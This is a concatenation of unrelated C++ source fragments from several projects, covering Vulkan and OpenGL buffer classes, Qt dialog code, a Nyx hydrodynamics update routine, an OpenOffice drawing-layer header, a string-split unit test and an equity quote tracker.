cout.setf(ios_base::fixed); solveA(); return 0; }#pragma once #include #include "device.hpp" #include "device_memory.hpp" #include "command_pool.hpp" #include namespace my_vulkan { struct buffer_t { buffer_t( device_t& device, VkDeviceSize size, VkBufferUsageFlags usage, VkMemoryPropertyFlags properties, std::optional external_handle_type = std::nullopt ); buffer_t( VkDevice device, VkPhysicalDevice physical_device, VkDeviceSize size, VkBufferUsageFlags usage, VkMemoryPropertyFlags properties, PFN_vkGetMemoryFdKHR pfn_vkGetMemoryFdKHR, std::optional external_handle_type = std::nullopt ); buffer_t(const buffer_t&) = delete; buffer_t(buffer_t&& other) noexcept; buffer_t& operator=(const buffer_t&) = delete; buffer_t& operator=(buffer_t&& other) noexcept; device_memory_t * memory() const; device_memory_t * memory(); VkBuffer get(); VkDeviceSize size() const; VkMemoryPropertyFlags memory_properties() const; void load_data(command_pool_t& command_pool, const void* data); ~buffer_t(); private: void cleanup(); VkDevice _device; VkPhysicalDevice _physical_device; VkDeviceSize _size; VkBuffer _buffer; PFN_vkGetMemoryFdKHR _fpGetMemoryFdKHR; std::unique_ptr _memory; VkMemoryPropertyFlags _memory_properties; }; } Snippets/Qt/Find Dialog/finddialog.cpp #include #include "finddialog.h" FindDialog::FindDialog(QWidget *parent) : QDialog(parent) { label = new QLabel(tr("Find &what:")); lineedit = new QLineEdit; casecheckbox = new QCheckBox(tr("Match &case")); backwardcheckbox = new QCheckBox(tr("Search &backward")); findbutton = new QPushButton(tr("&Find")); closebutton = new QPushButton(tr("Close")); label->setBuddy(lineedit); findbutton->setDefault(true); findbutton->setEnabled(false); } #include "MazeObject.hpp" #pragma once #define IMG_MAZEKEY "Images/Key.png" class MazeKey : public MazeObject { private: static bool checkLoadImage; static sf::Image keyImage; public: MazeKey(MazeCoordinate pos, float xOffset, float yOffset, float width, float height); ~MazeKey(); }; vbruder/Nyx #include #include #include #include using namespace amrex; using std::string; AMREX_GPU_DEVICE AMREX_FORCE_INLINE void do_enforce_minimum_density( const int i, const int j, const int k, amrex::Array4 const& state, AtomicRates* atomic_rates, const int NumSpec, amrex::Real const a_new, const amrex::Real gamma_minus_1, const amrex::Real small_dens, const amrex::Real small_temp) { //Reset negative density to small_dens and zero out momenta: if(state(i,j,k,URHO) < small_dens) { for (int n = 0; n < NumSpec; ++n) { state(i,j,k,FirstSpec+n) *= small_dens / state(i,j,k,URHO); } state(i,j,k,URHO ) = small_dens; state(i,j,k,UMX) = 0.0; state(i,j,k,UMY) = 0.0; state(i,j,k,UMZ) = 0.0; amrex::Real dummy_pres = 1e200; amrex::Real eint_new = -1e200; amrex::Real Ne = 0.0; amrex::Real h_species = 0.76; // HACK HACK -- we can't yet do this call // Re-create "e" from {small_dens, small_temp} nyx_eos_given_RT(atomic_rates, gamma_minus_1, h_species, &eint_new, &dummy_pres, state(i,j,k,URHO), small_temp, Ne,a_new); // Define (rho e) with small_dens and the new "e" state(i,j,k,UEINT) = state(i,j,k,URHO) * eint_new; // Here we effectively zero the KE so set (rho E) = (rho e) state(i,j,k,UEDEN) = state(i,j,k,UEINT); } } void Nyx::update_state_with_sources( MultiFab& S_old, MultiFab& S_new, MultiFab& ext_src_old, MultiFab& hydro_source, MultiFab& grav_vector, MultiFab& divu_cc, amrex::Real dt, amrex::Real a_old, amrex::Real a_new) { BL_PROFILE("Nyx::update_state_with_sources()"); if (verbose) amrex::Print() << "Updating state with the hydro sources ... " << std::endl; MultiFab::RegionTag amrhydro_tag("HydroUpdate_" + std::to_string(level)); const amrex::Real a_half = 0.5 * (a_old + a_new); const amrex::Real a_half_inv = 1 / a_half; const amrex::Real a_oldsq = a_old * a_old; const amrex::Real a_newsq = a_new * a_new; const amrex::Real a_new_inv = 1.0 / a_new; const amrex::Real a_newsq_inv = 1.0 / a_newsq; const amrex::Real dt_a_new = dt / a_new; int lnum_spec = NumSpec; Real lsmall_dens = small_dens; Real lgamma_minus_1 = gamma - 1.0; Real lsmall_temp = small_temp; auto atomic_rates = atomic_rates_glob; ////This set of dt should be used for Saxpy dt like setup for (amrex::MFIter mfi(S_new, amrex::TilingIfNotGPU()); mfi.isValid(); ++mfi) { const amrex::Box& bx = mfi.tilebox(); auto const& uin = S_old.array(mfi); auto const& uout = S_new.array(mfi); auto const& hydro_src = hydro_source.array(mfi); auto const& src = ext_src_old.array(mfi); amrex::ParallelFor(bx, [=] AMREX_GPU_DEVICE(int i, int j, int k) noexcept { for (int n = 0; n < uout.nComp(); ++n) { if(n==URHO) { uout(i,j,k,n) = uin(i,j,k,n) + hydro_src(i,j,k,n) + dt * src(i,j,k,n) * a_half_inv; } else if(n>=UMX&&n<=UMZ) { uout(i,j,k,n) = a_old * uin(i,j,k,n) + hydro_src(i,j,k,n) + dt * src(i,j,k,n); uout(i,j,k,n) = uout(i,j,k,n) * a_new_inv; } else if(n==UEDEN) { uout(i,j,k,n) = a_oldsq * uin(i,j,k,n) + hydro_src(i,j,k,n) + a_half * dt * src(i,j,k,n); uout(i,j,k,n) = uout(i,j,k,n) * a_newsq_inv; } else if(n==UEINT) { uout(i,j,k,n) = a_oldsq*uin(i,j,k,n) + hydro_src(i,j,k,n) + a_half * dt * src(i,j,k,n) ; uout(i,j,k,n) = uout(i,j,k,n) * a_newsq_inv; } else { uout(i,j,k,n) = uin(i,j,k,n) + hydro_src(i,j,k,n) + dt * src(i,j,k,n) * a_half_inv; } } }); //Unclear whether this should be part of previous ParallelFor amrex::ParallelFor(bx, [=] AMREX_GPU_DEVICE(int i, int j, int k) noexcept { do_enforce_minimum_density(i, j, k, uout, atomic_rates, lnum_spec, a_new, lgamma_minus_1, lsmall_dens, lsmall_temp); }); } #ifndef CONST_SPECIES enforce_nonnegative_species(S_new); #endif for (amrex::MFIter mfi(S_new, amrex::TilingIfNotGPU()); mfi.isValid(); ++mfi) { const amrex::Box& bx = mfi.tilebox(); auto const& uin = S_old.array(mfi); auto const& uout = S_new.array(mfi); auto const& grav = grav_vector.array(mfi); amrex::ParallelFor(bx, [=] AMREX_GPU_DEVICE(int i, int j, int k) noexcept { const amrex::Real rhoInv = 1.0 / uout(i,j,k,URHO); const amrex::Real vx = uout(i, j, k, UMX); const amrex::Real vy = uout(i, j, k, UMY); const amrex::Real vz = uout(i, j, k, UMZ); // **** Start Diagnostics **** //Multiplies by rhoInv const amrex::Real old_ke = 0.5 * rhoInv * (vx * vx + vy * vy + vz * vz); const amrex::Real old_rhoeint = uout(i,j,k,UEDEN) - old_ke; // **** End Diagnostics **** const amrex::Real rho = uin(i, j, k, URHO); const amrex::Real SrU = rho * grav(i,j,k,0); const amrex::Real SrV = rho * grav(i,j,k,1); const amrex::Real SrW = rho * grav(i,j,k,2); // We use a_new here because we think of d/dt(a rho u) = ... + (rho g) uout(i,j,k,UMX) += SrU * dt_a_new; uout(i,j,k,UMY) += SrV * dt_a_new; uout(i,j,k,UMZ) += SrW * dt_a_new; if (grav_source_type == 1) { // This does work (in 1-d) // Src = rho u dot g, evaluated with all quantities at t^n const amrex::Real SrE = uin(i,j,k,UMX) * grav(i,j,k,0) + uin(i,j,k,UMY) * grav(i,j,k,1) + uin(i,j,k,UMZ) * grav(i,j,k,2); uout(i,j,k,UEDEN) = (a_newsq*uout(i,j,k,UEDEN) + SrE * (dt*a_half)) * a_newsq_inv; } else if (grav_source_type == 3) { //Multiplies by rhoInv const amrex::Real new_ke = 0.5 * rhoInv * (vx * vx + vy * vy + vz * vz); uout(i,j,k,UEDEN) = old_rhoeint + new_ke; } else amrex::Abort("Error:: Nyx_advection_3d.f90 :: bogus grav_source_type"); }); } } /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ #ifndef INCLUDED_DRAWINGLAYER_PRIMITIVE2D_TEXTSTRIKEOUTPRIMITIVE2D_HXX #define INCLUDED_DRAWINGLAYER_PRIMITIVE2D_TEXTSTRIKEOUTPRIMITIVE2D_HXX #include #include #include #include #include #include #include ////////////////////////////////////////////////////////////////////////////// namespace drawinglayer { namespace primitive2d { class DRAWINGLAYER_DLLPUBLIC BaseTextStrikeoutPrimitive2D : public BufferedDecompositionPrimitive2D { private: /// geometric definitions basegfx::B2DHomMatrix maObjectTransformation; double mfWidth; /// decoration definitions basegfx::BColor maFontColor; public: /// constructor BaseTextStrikeoutPrimitive2D( const basegfx::B2DHomMatrix& rObjectTransformation, double fWidth, const basegfx::BColor& rFontColor); /// data read access const basegfx::B2DHomMatrix& getObjectTransformation() const { return maObjectTransformation; } double getWidth() const { return mfWidth; } const basegfx::BColor& getFontColor() const { return maFontColor; } /// compare operator virtual bool operator==( const BasePrimitive2D& rPrimitive ) const; }; } // end of namespace primitive2d } // end of namespace drawinglayer ////////////////////////////////////////////////////////////////////////////// namespace drawinglayer { namespace primitive2d { class DRAWINGLAYER_DLLPUBLIC TextCharacterStrikeoutPrimitive2D : public BaseTextStrikeoutPrimitive2D { private: sal_Unicode maStrikeoutChar; attribute::FontAttribute maFontAttribute; ::com::sun::star::lang::Locale maLocale; protected: /// local decomposition. virtual Primitive2DSequence create2DDecomposition(const geometry::ViewInformation2D& rViewInformation) const; public: /// constructor TextCharacterStrikeoutPrimitive2D( const basegfx::B2DHomMatrix& rObjectTransformation, double fWidth, const basegfx::BColor& rFontColor, sal_Unicode aStrikeoutChar, const attribute::FontAttribute& rFontAttribute, const ::com::sun::star::lang::Locale& rLocale); /// data read access sal_Unicode getStrikeoutChar() const { return maStrikeoutChar; } const attribute::FontAttribute& getFontAttribute() const { return maFontAttribute; } const ::com::sun::star::lang::Locale& getLocale() const { return maLocale; } /// compare operator virtual bool operator==( const BasePrimitive2D& rPrimitive ) const; /// provide unique ID DeclPrimitrive2DIDBlock() }; } // end of namespace primitive2d } // end of namespace drawinglayer ////////////////////////////////////////////////////////////////////////////// namespace drawinglayer { namespace primitive2d { class DRAWINGLAYER_DLLPUBLIC TextGeometryStrikeoutPrimitive2D : public BaseTextStrikeoutPrimitive2D { private: double mfHeight; double mfOffset; TextStrikeout meTextStrikeout; protected: /// local decomposition. virtual Primitive2DSequence create2DDecomposition(const geometry::ViewInformation2D& rViewInformation) const; public: /// constructor TextGeometryStrikeoutPrimitive2D( const basegfx::B2DHomMatrix& rObjectTransformation, double fWidth, const basegfx::BColor& rFontColor, double fHeight, double fOffset, TextStrikeout eTextStrikeout); /// data read access double getHeight() const { return mfHeight; } double getOffset() const { return mfOffset; } TextStrikeout getTextStrikeout() const { return meTextStrikeout; } /// compare operator virtual bool operator==( const BasePrimitive2D& rPrimitive ) const; /// provide unique ID DeclPrimitrive2DIDBlock() }; } // end of namespace primitive2d } // end of namespace drawinglayer ////////////////////////////////////////////////////////////////////////////// #endif //INCLUDED_DRAWINGLAYER_PRIMITIVE2D_TEXTSTRIKEOUTPRIMITIVE2D_HXX ////////////////////////////////////////////////////////////////////////////// // eof TheodorLindberg/Hypo0 #include "graphicspch.h" #include "OpenGLUniformBuffer.h" #include "glad/glad.h" #include "Hypo/System/Util/Log.h" namespace Hypo { OpenGLUniformBuffer::OpenGLUniformBuffer(UniformBinder::Ptr& binder) : m_Binder(binder) { m_Buffer.LoadEmpty(binder->GetBufferSize(), true); } OpenGLUniformBuffer::~OpenGLUniformBuffer() { } const std::string& OpenGLUniformBuffer::GetBinderName() { return m_Binder->GetName(); } bool OpenGLUniformBuffer::Set(const char* name, int value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int); offset != -1) { m_Buffer.Update( offset, &value, sizeof(int)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, int value1, int value2) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int2); offset != -1) { Vec2F vec{ value1, value2 }; m_Buffer.Update( offset, &vec, sizeof(Vec2F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, int value1, int value2, int value3) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int3); offset != -1) { Vec3I vec(value1, value2, value3); m_Buffer.Update( offset, &vec, sizeof(Vec3I)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, int value1, int value2, int value3, int value4) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int4); offset != -1) { Vec4I vec(value1, value2, value3, value4); m_Buffer.Update( offset, &vec, sizeof(Vec4I)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, Vec2I value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int2); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec2I)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, const Vec3I& value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int3); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec3I)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, const Vec4I& value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int4); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec4I)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, float value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float); offset != -1) { m_Buffer.Update( offset, &value, sizeof(float)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, float value1, float value2) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float2); offset != -1) { Vec2F vec{ value1, value2 }; m_Buffer.Update( offset, &vec, sizeof(Vec2F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, float value1, float value2, float value3) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float3); offset != -1) { Vec3F vec{ value1, value2, value3 }; m_Buffer.Update( offset, &vec, sizeof(Vec3F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, float value1, float value2, float value3, float value4) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float4); offset != -1) { Vec4F vec{ value1, value2, value3, value4 }; m_Buffer.Update( offset, &vec, sizeof(Vec4F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, Vec2F value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float2); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec2F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, const Vec3F& value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float3); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec3F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, const Vec4F& value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float4); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec4F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, bool value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Bool); offset != -1) { m_Buffer.Update( offset, &value, sizeof(bool)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, const glm::mat3& value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Mat3); offset != -1) { m_Buffer.Update( offset, &value[0][0], sizeof(glm::mat3)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, const glm::mat4& value) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Mat4); offset != -1) { m_Buffer.Update( offset, &value[0][0], sizeof(glm::mat4)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::Set(const char* name, Byte* data, int size) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Struct); offset != -1) { m_Buffer.Update( offset, data, size); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, int value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(int)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, int value1, int value2, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int2, index); offset != -1) { Vec2I vec{ value1, value2 }; m_Buffer.Update( offset, &vec, sizeof(Vec2I)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, int value1, int value2, int value3, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int3, index); offset != -1) { Vec3I vec(value1, value2, value3); m_Buffer.Update( offset, &vec, sizeof(Vec3I)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, int value1, int value2, int value3, int value4, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int4, index); offset != -1) { Vec4I vec(value1, value2, value3, value4); m_Buffer.Update( offset, &vec, sizeof(Vec4I)); return true; HYPO_CORE_INFO("Could not bind uniform {}", name); } return false; } bool OpenGLUniformBuffer::SetArray(const char* name, Vec2I value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int2, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec2I)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, Vec3I& value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int3, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec3I)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, Vec4I& value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Int4, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec4I)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, float value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(float)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, float value1, float value2, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float2, index); offset != -1) { Vec2F vec(value1, value2); m_Buffer.Update( offset, &vec, sizeof(Vec2F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, float value1, float value2, float value3, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float3, index); offset != -1) { Vec3F vec{ value1, value2, value3 }; m_Buffer.Update( offset, &vec, sizeof(Vec3F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, float value1, float value2, float value3, float value4, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float4, index); offset != -1) { Vec4F vec{ value1, value2, value3, value4 }; m_Buffer.Update( offset, &vec, sizeof(Vec4F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, Vec2F value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float2, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec2F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, Vec3F& value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float3, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec3F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, Vec4F& value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Float4, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(Vec4F)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, bool value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Bool, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(bool)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, const glm::mat3& value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Mat3, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(glm::mat3)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, const glm::mat4& value, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Mat4, index); offset != -1) { m_Buffer.Update( offset, &value, sizeof(glm::mat4)); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } bool OpenGLUniformBuffer::SetArray(const char* name, Byte* data, int size, int index) { if (const auto offset = m_Binder->GetUniformOffset(name, ShaderDataType::Struct, index); offset != -1) { m_Buffer.Update( offset, data, size); return true; } HYPO_CORE_INFO("Could not bind uniform {}", name); return false; } } tests/src/test_StringUtil.cpp0 #include #include #include "StringUtil.h" TEST_CASE("StringUtilSplit", "[split]") { SECTION("single delimitter") { const auto str = "a/b"; const auto delim = "/"; const auto result = string_util::splitString(str, delim); REQUIRE(result.size() == 2); REQUIRE(result[0] == "a"); REQUIRE(result[1] == "b"); } SECTION("two delimitters") { const auto str = "a/b/c"; const auto delim = "/"; const auto result = string_util::splitString(str, delim); REQUIRE(result.size() == 3); REQUIRE(result[0] == "a"); REQUIRE(result[1] == "b"); REQUIRE(result[2] == "c"); } SECTION("no delimitter") { const auto str = "a"; const auto delim = "/"; const auto result = string_util::splitString(str, delim); REQUIRE(result.size() == 1); REQUIRE(result[0] == "a"); } SECTION("two delimitters next to each other") { const auto str = "a//b"; const auto delim = "/"; const auto result = string_util::splitString(str, delim); REQUIRE(result.size() == 3); REQUIRE(result[0] == "a"); REQUIRE(result[1] == ""); REQUIRE(result[2] == "b"); } }#include "chokoengine.hpp" CE_BEGIN_NAMESPACE UIButtonStyle::UIButtonStyle(const Color& n, const Color& t) : UIButtonStyle(n, Math::Lerp(n, Color::white(), 0.5f), Math::Lerp(n, Color::black(), 0.5f), t, t, t) {} UIButtonStyle::UIButtonStyle(const Color& n, const Color& h, const Color& p, const Color& tn, const Color& th, const Color& tp) : _normal(n), _hover(h), _pressed(p), _textNormal(tn), _textHover(th), _textPressed(tp) {} CE_END_NAMESPACEblacklabcapital/darkfeed #include #include "../include/mfeed/state_utils.hpp" namespace darkfeed { EquityQuoteTracker::EquityQuoteTracker() { Symbol ds; std::strcpy(ds.root,"DELETED"); ds.listing_exg = MIC::NONE; states.set_deleted_key(ds); states.set_empty_key(Symbol{}); } void EquityQuoteTracker::clear() { for(const auto& it: states) { it.second.clear(); } states.clear(); } const std::vector EquityQuoteTracker::get_symbols() const { std::vector symbols; for(const auto& it : states) { symbols.push_back(it.first); } return symbols; } NBBO EquityQuoteTracker::get_nbbo(const Symbol &s) const { auto it = states.find(s); if (it == states.end()) return NBBO(); return it->second.get_nbbo(); } EquityQuote EquityQuoteTracker::get_best_bid(const Symbol &s) { auto it = states.find(s); if (it == states.end()) return EquityQuote(); return it->second.get_best_bid(); } EquityQuote EquityQuoteTracker::get_best_ask(const Symbol &s) { auto it = states.find(s); if (it == states.end()) return EquityQuote(); return it->second.get_best_ask(); } EquityQuote EquityQuoteTracker::get_quote(const Symbol& s, const Exchange& e) { auto it = states.find(s); if (it == states.end()) return EquityQuote(); return it->second.get_quote(e); } void EquityQuoteTracker::push_quote(const EquityQuote *q) { //check if symbol already exists EquityTOBState* s_ptr = nullptr; auto it = states.find(q->symbol); if (it == states.end()) { states[q->symbol] = EquityTOBState(); s_ptr = &states[q->symbol]; } else s_ptr = &it->second; s_ptr->push_quote(q); } std::uint32_t EquityQuoteTracker::get_q_vol(const Symbol &s) const { auto it = states.find(s); if (it == states.end()) return 0; return it->second.get_q_vol(); } } // darkfeed // // GLManager.cpp // GeneticEvolution // // Created by Christian on 9/28/14. // Copyright (c) 2014 Christian. All rights reserved. // #include "GLManager.h" #include #include #include "ConfigurationManager.h" GLProgram::GLProgram(const std::string& fragName, const std::string& vertName) : programID(glCreateProgram()), fragmentShader(CompileShader(fragName, GL_FRAGMENT_SHADER)), vertexShader(CompileShader(vertName, GL_VERTEX_SHADER)) { //link program GLint result = GL_FALSE; int infoLogLength; fprintf(stdout, "Linking program\n"); glAttachShader(programID, vertexShader); glAttachShader(programID, fragmentShader); glLinkProgram(programID); glGetProgramiv(programID, GL_LINK_STATUS, &result); glGetProgramiv(programID, GL_INFO_LOG_LENGTH, &infoLogLength); std::vector errorMessage(infoLogLength); glGetProgramInfoLog(programID, infoLogLength, NULL, &errorMessage[0]); glDeleteShader(vertexShader); glDeleteShader(fragmentShader); } GLManager::GLManager(const std::string& fragName, const std::string& vertName, ConfigurationManager& configManager) { AddProgram(fragName, vertName); Programs[0].Use(); initGL(configManager); } void GLManager::initGL(ConfigurationManager& configManager) { glDisable(GL_CULL_FACE); if (configManager.GetItem("DepthTesting")) glEnable(GL_DEPTH_TEST); glDepthFunc(GL_LEQUAL); glPointSize(5); if (configManager.GetItem("Multisampling")) glEnable(GL_MULTISAMPLE); } //compile an OpenGL shader GLuint GLProgram::CompileShader(const std::string& shaderName, GLenum type) { GLuint shaderId = glCreateShader(type); std::string code; //read file with an ifstream std::ifstream stream(shaderName, std::ios::in); if (stream.is_open()) { std::string line = ""; while (std::getline(stream, line)) { code+="\n"+line; } stream.close(); } GLint result = GL_FALSE; int infoLogLength; //compile shader and list any errors in console printf("Compiling shader %s\n", shaderName.c_str()); const char* src = code.c_str(); glShaderSource(shaderId, 1, &src, 0); glCompileShader(shaderId); glGetShaderiv(shaderId, GL_COMPILE_STATUS, &result); glGetShaderiv(shaderId, GL_INFO_LOG_LENGTH, &infoLogLength); std::vector errorMessage(infoLogLength); glGetShaderInfoLog(shaderId, infoLogLength, NULL, &errorMessage[0]); fprintf(stdout, "%s\n", &errorMessage[0]); return shaderId; } int GLManager::AddProgram(const std::string fragmentShaderName, const std::string& vertexShaderName) { int id = Programs.size(); fprintf(stdout, "Compiling program %i\n", id); Programs.push_back(GLProgram(fragmentShaderName, vertexShaderName)); return id; } #include void GLManager::AddUniformBuffer(const std::string& name, std::size_t size, std::initializer_list programs) { GLuint ubo; glGenBuffers(1, &ubo); glBindBuffer(GL_UNIFORM_BUFFER, ubo); glBufferData(GL_UNIFORM_BUFFER, size, nullptr, GL_DYNAMIC_DRAW); for (auto programIdx : programs) { GLuint program = Programs[programIdx].programID; glUseProgram(program); GLint index = glGetUniformBlockIndex(program, name.c_str()); std::cout << index << std::endl; GLuint bindingPoint = 0; glBindBufferBase(GL_UNIFORM_BUFFER, bindingPoint, ubo); glUniformBlockBinding(program, index, bindingPoint); } glBindBuffer(GL_UNIFORM_BUFFER, 0); uniformBuffers[name]=ubo; } void GLManager::UpdateBuffer(const std::string& name, const void *value, std::size_t size) { if (uniformBuffers.find(name)==uniformBuffers.end()) throw std::out_of_range("Bad access."); GLuint ubo = uniformBuffers[name]; glBindBuffer(GL_UNIFORM_BUFFER, ubo); // GLvoid* location = glMapBuffer(GL_UNIFORM_BUFFER, GL_WRITE_ONLY); // memcpy(location, value, size); // glUnmapBuffer(GL_UNIFORM_BUFFER); glBufferData(GL_UNIFORM_BUFFER, size, value, GL_DYNAMIC_DRAW); }/* * * Copyright (C) 2000-2007, OFFIS * * This software and supporting documentation were developed by * * Kuratorium OFFIS e.V. * Healthcare Information and Communication Systems * Escherweg 2 * D-26121 Oldenburg, Germany * * THIS SOFTWARE IS MADE AVAILABLE, AS IS, AND OFFIS MAKES NO WARRANTY * REGARDING THE SOFTWARE, ITS PERFORMANCE, ITS MERCHANTABILITY OR * FITNESS FOR ANY PARTICULAR USE, FREEDOM FROM ANY COMPUTER DISEASES OR * ITS CONFORMITY TO ANY SPECIFICATION. THE ENTIRE RISK AS TO QUALITY AND * PERFORMANCE OF THE SOFTWARE IS WITH THE USER. * * Module: dcmsr * * Author: * * Purpose: * classes: DSRCompositeTreeNode * * Last Update: $Author: uli $ * Update Date: $Date: 2009-10-13 14:57:51 $ * CVS/RCS Revision: $Revision: 1.20 $ * Status: $State: Exp $ * * CVS/RCS Log at end of file * */ #include "dcmtk/config/osconfig.h" /* make sure OS specific configuration is included first */ #include "dcmtk/dcmsr/dsrtypes.h" #include "dcmtk/dcmsr/dsrcomtn.h" #include 